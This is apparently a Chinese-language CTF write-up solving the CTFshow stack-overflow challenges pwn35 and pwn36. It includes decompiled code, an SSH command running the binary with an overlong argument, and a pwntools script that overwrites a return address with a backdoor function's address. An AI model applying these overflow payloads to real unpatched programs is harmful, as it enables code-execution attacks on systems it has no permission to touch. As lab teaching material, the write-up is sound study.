CTFshow-pwn入门-栈溢出pwn35-pwn36

pwn35

首先还是先下载pwn文件拖进虚拟机加上可执行权限，使用checksec命令查看文件的信息。

chmod +x pwn
checksec pwn

32位的我们直接拖进ida中反编译：

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [esp+0h] [ebp-1Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, (__sighandler_t)sigsegv_handler);
  puts(asc_8048910);
  puts(asc_8048984);
  puts(asc_8048A00);
  puts(asc_8048A8C);
  puts(asc_8048B1C);
  puts(asc_8048BA0);
  puts(asc_8048C34);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : See what the program does!                              ");
  puts("    * *************************************                           ");
  puts("Where is flag?\n");
  if ( argc <= 1 )
  {
    puts("Try again!");
  }
  else
  {
    ctfshow((char *)argv[1]);
    printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
  }
  return 0;
}

// ctfshow
char *__cdecl ctfshow(char *src)
{
  char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return strcpy(dest, src);
}

先来分析一波代码逻辑：
程序首先将/ctfshow_flag文件的内容读取到flag变量里，然后打印输出一些无用的提示信息。
之后是关键代码：
如果argc的值<=1，就输出try again。代表我们失败了没拿到flag。对argc解释一下，argc是我们启动函数时输入的参数的数量加1，因为程序默认有argc=1，且第一个参数为程序的名称即argv[0]，此后我们输入的参数就为argv[1]…
如果argc的值 > 1，就进入ctfshow函数，该函数将我们输入的第一个参数也就是argv[1]赋值给dest，然后返回到main函数继续执行，会将argv[1]我们输入第个参数的内容通过printf函数进行输出。

那好我们如何拿到flag呢？我们知道strcpy函数没有长度限制，是可以产生栈溢出的，这道题就让我们想到了pwn23题啊，大家还记得pwn23是怎么做出来的嘛？当时我们在启动程序时，输入的参数是一个非常非常的字符串(长度要超过dest变量的长度104)，进而导致程序溢出，输出了flag，所以这次我们依然用这个方法试一下。

开肝！！！
ssh连接

ssh ctfshow@pwn.challenge.ctf.show -p28185

我们直接运行pwnme，加上一个长度很长的参数。

 ./pwnme aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

成功拿到了flag。

pwn36

首先我们还是先下载pwn文件，然后拖进虚拟机加上可执行权限，通过使用checksec命令查看文件的信息。

chmod +x pwn
checksec pwn

发现是32位的程序，并且除了RELRO是Partial，其他保护全是关闭状态。先拖进ida反编译下看下代码逻辑。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow(&argc);
  return 0;
}

// ctfshow
char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

// get_flag
int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

我们先来分析一波代码逻辑：
程序显示打印出一大段无用的提示信息，然后进入ctfshow函数，ctfshow函数是gets函数让我们输入信息到s[36]数组里，大家这里需要注意的是gets函数是没有长度限制的，可以发生栈溢出！另外题目提示我们存在后门函数，通过ida我们找到了get_flag函数，这个函数可以打印输出flag。

所以我们的大致思路就是通过栈溢出，将ctfshow函数的返回地址覆盖为get_flag函数的地址，这样我们就可以控制程序的执行流程，进而拿到flag。

首先看ida中s[36]数组的大小为36，加上我们还要覆盖掉ebp的值(ebp后面是返回地址，前面是局部变量s数组的栈空间)，我们需要的填充数据长度就为36 + 4即0x28 + 0x4，我们通过gdb的disass get_flag命令就可以得到get_flag函数的汇编代码，其中就有get_flag函数的首地址，所以我们大致的payload就为：(0x28 + 0x4 ) * ‘a’ + p32(get_flag函数的地址)

直接编写exp开干吧！
先得到get_flag函数的地址：

gdb ./pwn
disass get_flag

拿到了get_falg函数的地址：0x8048586
编写exp.py：

from pwn import *

p = remote("pwn.challenge.ctf.show", "28115")

offset = 0x28 + 0x4
get_flag_addr = 0x8048586
payload = offset * 'a' + p32(get_flag_addr)

p.sendline(payload)

接着使用python执行我们编写的exp.py拿flag。

成功拿到了flag！